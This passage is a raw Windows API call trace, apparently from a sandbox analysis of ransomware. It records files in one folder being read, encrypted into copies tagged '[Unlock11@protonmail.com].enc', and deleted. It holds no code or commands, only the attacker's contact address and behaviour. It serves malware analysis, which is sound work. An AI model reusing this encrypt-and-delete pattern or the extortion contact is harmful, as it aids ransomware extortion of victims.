dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0113.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0113.602] GetLastError () returned 0x0 [0113.602] GetLastError () returned 0x0 [0113.602] GetLastError () returned 0x0 [0113.602] GetLastError () returned 0x0 [0113.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0113.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32aba80 [0113.602] GetLastError () returned 0x0 [0113.603] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.603] GetFileType (hFile=0x3ac) returned 0x1 [0113.603] GetLastError () returned 0x0 [0113.603] GetCurrentThreadId () returned 0x9b0 [0113.603] GetLastError () returned 0x0 [0113.603] GetFileType (hFile=0x3ac) returned 0x1 [0113.603] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.603] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.603] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.604] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.604] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.604] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.604] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.604] GetLastError () returned 0x0 [0113.604] GetCurrentThreadId () returned 0x9b0 [0113.604] GetLastError () returned 0x0 [0113.604] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0113.604] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db7b0 | out: hHeap=0x2ad0000) returned 1 [0113.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0113.604] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.604] GetLastError () returned 0x0 [0113.604] GetLastError () returned 0x0 [0113.605] GetCurrentThreadId () returned 0x9b0 [0113.605] GetLastError () returned 0x0 [0113.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0113.605] GetLastError () returned 0x0 [0113.605] GetLastError () returned 0x0 [0113.605] GetCurrentThreadId () returned 0x9b0 [0113.605] GetLastError () returned 0x0 [0113.605] GetLastError () returned 0x0 [0113.607] GetLastError () returned 0x0 [0113.608] GetCurrentThreadId () returned 0x9b0 [0113.608] GetLastError () returned 0x0 [0113.608] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0113.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.608] GetCurrentThreadId () returned 0x9b0 [0113.608] GetLastError () returned 0x0 [0113.609] GetLastError () returned 0x0 [0113.609] GetLastError () returned 0x0 [0113.609] GetLastError () returned 0x0 [0113.609] GetCurrentThreadId () returned 0x9b0 [0113.609] GetLastError () returned 0x0 [0113.609] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.609] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0113.609] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0113.609] GetLastError () returned 0x0 [0113.611] GetLastError () returned 0x0 [0113.611] GetCurrentThreadId () returned 0x9b0 [0113.611] GetLastError () returned 0x0 [0113.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.611] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.612] GetLastError () returned 0x0 [0113.612] GetLastError () returned 0x0 [0113.612] GetCurrentThreadId () returned 0x9b0 [0113.612] GetLastError () returned 0x0 [0113.613] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.613] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb60 [0113.613] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0113.613] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.613] GetCurrentThreadId () returned 0x9b0 [0113.613] GetLastError () returned 0x0 [0113.613] GetLastError () returned 0x0 [0113.613] GetLastError () returned 0x0 [0113.614] GetLastError () returned 0x0 [0113.614] GetCurrentThreadId () returned 0x9b0 [0113.614] GetLastError () returned 0x0 [0113.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0113.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0113.614] GetLastError () returned 0x0 [0113.615] GetLastError () returned 0x0 [0113.615] GetCurrentThreadId () returned 0x9b0 [0113.615] GetLastError () returned 0x0 [0113.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0113.615] GetLastError () returned 0x0 [0113.616] GetLastError () returned 0x0 [0113.616] GetCurrentThreadId () returned 0x9b0 [0113.616] GetLastError () returned 0x0 [0113.616] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xd215) returned 0x35c5908 [0113.616] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.616] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba80 [0113.616] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0113.616] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xd218) returned 0x36f8548 [0113.616] GetCurrentThreadId () returned 0x9b0 [0113.616] GetLastError () returned 0x0 [0113.617] GetLastError () returned 0x0 [0113.617] GetLastError () returned 0x0 [0113.617] GetLastError () returned 0x0 [0113.617] GetCurrentThreadId () returned 0x9b0 [0113.617] GetLastError () returned 0x0 [0113.617] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.617] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0113.617] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.617] GetLastError () returned 0x0 [0113.618] GetLastError () returned 0x0 [0113.618] GetCurrentThreadId () returned 0x9b0 [0113.618] GetLastError () returned 0x0 [0113.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.619] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.619] GetLastError () returned 0x0 [0113.619] GetLastError () returned 0x0 [0113.619] GetCurrentThreadId () returned 0x9b0 [0113.619] GetLastError () returned 0x0 [0113.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.619] GetLastError () returned 0x0 [0113.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0113.619] CloseHandle (hObject=0x3ac) returned 1 [0113.620] GetLastError () returned 0x0 [0113.620] GetCurrentThreadId () returned 0x9b0 [0113.620] GetLastError () returned 0x0 [0113.620] GetLastError () returned 0x0 [0113.620] CloseHandle (hObject=0x39c) returned 1 [0113.620] GetLastError () returned 0x0 [0113.620] GetCurrentThreadId () returned 0x9b0 [0113.620] GetLastError () returned 0x0 [0113.621] GetLastError () returned 0x0 [0113.621] GetLastError () returned 0x0 [0113.621] GetLastError () returned 0x0 [0113.621] GetLastError () returned 0x0 [0113.621] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1 [0113.623] GetLastError () returned 0x0 [0113.623] GetCurrentThreadId () returned 0x9b0 [0113.623] GetLastError () returned 0x0 [0113.623] GetCurrentThreadId () returned 0x9b0 [0113.623] GetLastError () returned 0x0 [0113.623] GetLastError () returned 0x0 [0113.623] GetLastError () returned 0x0 [0113.623] GetLastError () returned 0x0 [0113.624] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", lpFilePart=0x9bada4*="RGB9Rast_x86.msi") returned 0x26 [0113.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0113.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0113.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0113.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0113.624] GetCurrentThreadId () returned 0x9b0 [0113.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cdb8 [0113.624] GetLastError () returned 0x0 [0113.624] GetLastError () returned 0x0 [0113.624] GetLastError () returned 0x0 [0113.624] GetLastError () returned 0x0 [0113.625] GetCurrentThreadId () returned 0x9b0 [0113.625] GetLastError () returned 0x0 [0113.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cdb8 | out: hHeap=0x2ad0000) returned 1 [0113.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ccc8 [0113.625] GetLastError () returned 0x0 [0113.625] GetLastError () returned 0x0 [0113.625] GetLastError () returned 0x0 [0113.625] GetLastError () returned 0x0 [0113.625] GetCurrentThreadId () returned 0x9b0 [0113.625] GetLastError () returned 0x0 [0113.625] GetCurrentThreadId () returned 0x9b0 [0113.626] GetLastError () returned 0x0 [0113.626] GetLastError () returned 0x0 [0113.626] GetLastError () returned 0x0 [0113.626] GetLastError () returned 0x0 [0113.626] GetCurrentThreadId () returned 0x9b0 [0113.626] GetLastError () returned 0x0 [0113.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ccc8 | out: hHeap=0x2ad0000) returned 1 [0113.626] GetLastError () returned 0x0 [0113.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0113.626] GetLastError () returned 0x0 [0113.626] GetLastError () returned 0x0 [0113.626] GetLastError () returned 0x0 [0113.627] GetCurrentThreadId () returned 0x9b0 [0113.627] GetLastError () returned 0x0 [0113.627] GetLastError () returned 0x0 [0113.627] GetLastError () returned 0x0 [0113.627] GetLastError () returned 0x0 [0113.627] GetLastError () returned 0x0 [0113.627] GetCurrentThreadId () returned 0x9b0 [0113.627] GetLastError () returned 0x0 [0113.627] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9a8 | out: hHeap=0x2ad0000) returned 1 [0113.627] GetLastError () returned 0x0 [0113.627] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0113.628] GetLastError () returned 0x0 [0113.628] GetLastError () returned 0x0 [0113.628] GetLastError () returned 0x0 [0113.628] GetCurrentThreadId () returned 0x9b0 [0113.628] GetLastError () returned 0x0 [0113.628] GetLastError () returned 0x0 [0113.628] GetLastError () returned 0x0 [0113.628] GetLastError () returned 0x0 [0113.628] GetLastError () returned 0x0 [0113.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0113.628] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200)) returned 1 [0113.629] GetLastError () returned 0x0 [0113.629] GetCurrentThreadId () returned 0x9b0 [0113.629] GetLastError () returned 0x0 [0113.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0113.629] GetCurrentThreadId () returned 0x9b0 [0113.629] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662da4 | out: pbBuffer=0x3662da4) returned 1 [0113.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0113.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0113.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0113.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cef8 [0113.629] GetCurrentThreadId () returned 0x9b0 [0113.630] GetLastError () returned 0x0 [0113.630] GetLastError () returned 0x0 [0113.630] GetLastError () returned 0x0 [0113.630] GetLastError () returned 0x0 [0113.630] GetCurrentThreadId () returned 0x9b0 [0113.630] GetLastError () returned 0x0 [0113.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cef8 | out: hHeap=0x2ad0000) returned 1 [0113.630] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce08 [0113.630] GetLastError () returned 0x0 [0113.630] GetLastError () returned 0x0 [0113.630] GetLastError () returned 0x0 [0113.631] GetLastError () returned 0x0 [0113.631] GetCurrentThreadId () returned 0x9b0 [0113.631] GetLastError () returned 0x0 [0113.631] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce08 | out: hHeap=0x2ad0000) returned 1 [0113.631] GetCurrentThreadId () returned 0x9b0 [0113.631] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb60 [0113.631] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0113.631] GetLastError () returned 0x0 [0113.631] GetLastError () returned 0x0 [0113.631] GetLastError () returned 0x0 [0113.631] GetLastError () returned 0x0 [0113.632] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.632] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32ab9b0 [0113.632] GetLastError () returned 0x0 [0113.632] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.632] GetFileType (hFile=0x39c) returned 0x1 [0113.632] GetLastError () returned 0x0 [0113.632] GetCurrentThreadId () returned 0x9b0 [0113.632] GetLastError () returned 0x0 [0113.632] GetFileType (hFile=0x39c) returned 0x1 [0113.632] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.633] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.633] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.633] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.633] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.633] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.633] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.633] GetLastError () returned 0x0 [0113.633] GetCurrentThreadId () returned 0x9b0 [0113.633] GetLastError () returned 0x0 [0113.633] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0113.633] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0113.633] GetLastError () returned 0x0 [0113.633] GetLastError () returned 0x0 [0113.634] GetLastError () returned 0x0 [0113.634] GetLastError () returned 0x0 [0113.634] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0113.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32ab9b0 [0113.634] GetLastError () returned 0x0 [0113.634] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.634] GetFileType (hFile=0x3ac) returned 0x1 [0113.635] GetCurrentThreadId () returned 0x9b0 [0113.635] GetFileType (hFile=0x3ac) returned 0x1 [0113.635] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.635] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.635] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.635] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.635] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.635] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.635] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.635] GetCurrentThreadId () returned 0x9b0 [0113.635] GetCurrentThreadId () returned 0x9b0 [0113.635] GetCurrentThreadId () returned 0x9b0 [0113.637] GetCurrentThreadId () returned 0x9b0 [0113.637] GetCurrentThreadId () returned 0x9b0 [0113.638] GetCurrentThreadId () returned 0x9b0 [0113.639] GetCurrentThreadId () returned 0x9b0 [0113.640] GetCurrentThreadId () returned 0x9b0 [0113.640] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x7215) returned 0x36f8548 [0113.640] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb60 [0113.640] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0113.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x7218) returned 0x3887a10 [0113.640] GetCurrentThreadId () returned 0x9b0 [0113.641] GetCurrentThreadId () returned 0x9b0 [0113.641] GetCurrentThreadId () returned 0x9b0 [0113.641] GetCurrentThreadId () returned 0x9b0 [0113.642] CloseHandle (hObject=0x3ac) returned 1 [0113.642] GetCurrentThreadId () returned 0x9b0 [0113.642] CloseHandle (hObject=0x39c) returned 1 [0113.642] GetCurrentThreadId () returned 0x9b0 [0113.642] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1 [0113.644] GetCurrentThreadId () returned 0x9b0 [0113.644] GetCurrentThreadId () returned 0x9b0 [0113.644] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Setup.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Setup.exe", lpFilePart=0x9bada4*="Setup.exe") returned 0x1f [0113.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0113.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0113.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0113.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0113.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce08 [0113.645] GetCurrentThreadId () returned 0x9b0 [0113.645] GetLastError () returned 0x0 [0113.645] GetLastError () returned 0x0 [0113.645] GetLastError () returned 0x0 [0113.645] GetLastError () returned 0x0 [0113.645] GetCurrentThreadId () returned 0x9b0 [0113.645] GetLastError () returned 0x0 [0113.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce08 | out: hHeap=0x2ad0000) returned 1 [0113.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cb38 [0113.645] GetLastError () returned 0x0 [0113.645] GetLastError () returned 0x0 [0113.646] GetLastError () returned 0x0 [0113.646] GetLastError () returned 0x0 [0113.646] GetCurrentThreadId () returned 0x9b0 [0113.646] GetLastError () returned 0x0 [0113.646] GetCurrentThreadId () returned 0x9b0 [0113.646] GetLastError () returned 0x0 [0113.646] GetLastError () returned 0x0 [0113.646] GetLastError () returned 0x0 [0113.646] GetLastError () returned 0x0 [0113.646] GetCurrentThreadId () returned 0x9b0 [0113.646] GetLastError () returned 0x0 [0113.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb38 | out: hHeap=0x2ad0000) returned 1 [0113.647] GetLastError () returned 0x0 [0113.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0113.647] GetLastError () returned 0x0 [0113.647] GetLastError () returned 0x0 [0113.647] GetLastError () returned 0x0 [0113.647] GetCurrentThreadId () returned 0x9b0 [0113.647] GetLastError () returned 0x0 [0113.647] GetLastError () returned 0x0 [0113.647] GetLastError () returned 0x0 [0113.647] GetLastError () returned 0x0 [0113.647] GetLastError () returned 0x0 [0113.647] GetCurrentThreadId () returned 0x9b0 [0113.647] GetLastError () returned 0x0 [0113.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a428 | out: hHeap=0x2ad0000) returned 1 [0113.648] GetLastError () returned 0x0 [0113.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0113.648] GetLastError () returned 0x0 [0113.648] GetLastError () returned 0x0 [0113.648] GetLastError () returned 0x0 [0113.648] GetCurrentThreadId () returned 0x9b0 [0113.648] GetLastError () returned 0x0 [0113.648] GetLastError () returned 0x0 [0113.648] GetLastError () returned 0x0 [0113.648] GetLastError () returned 0x0 [0113.649] GetLastError () returned 0x0 [0113.649] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.649] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148)) returned 1 [0113.649] GetLastError () returned 0x0 [0113.649] GetCurrentThreadId () returned 0x9b0 [0113.649] GetLastError () returned 0x0 [0113.649] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce08 | out: hHeap=0x2ad0000) returned 1 [0113.649] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662e94 | out: pbBuffer=0x3662e94) returned 1 [0113.649] GetCurrentThreadId () returned 0x9b0 [0113.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0113.650] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0113.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0113.650] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382d010 [0113.650] GetLastError () returned 0x0 [0113.650] GetLastError () returned 0x0 [0113.650] GetLastError () returned 0x0 [0113.650] GetLastError () returned 0x0 [0113.650] GetCurrentThreadId () returned 0x9b0 [0113.650] GetLastError () returned 0x0 [0113.650] GetCurrentThreadId () returned 0x9b0 [0113.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382d010 | out: hHeap=0x2ad0000) returned 1 [0113.650] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cd68 [0113.651] GetLastError () returned 0x0 [0113.651] GetLastError () returned 0x0 [0113.651] GetLastError () returned 0x0 [0113.651] GetLastError () returned 0x0 [0113.651] GetCurrentThreadId () returned 0x9b0 [0113.651] GetLastError () returned 0x0 [0113.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cd68 | out: hHeap=0x2ad0000) returned 1 [0113.651] GetCurrentThreadId () returned 0x9b0 [0113.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0113.651] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), 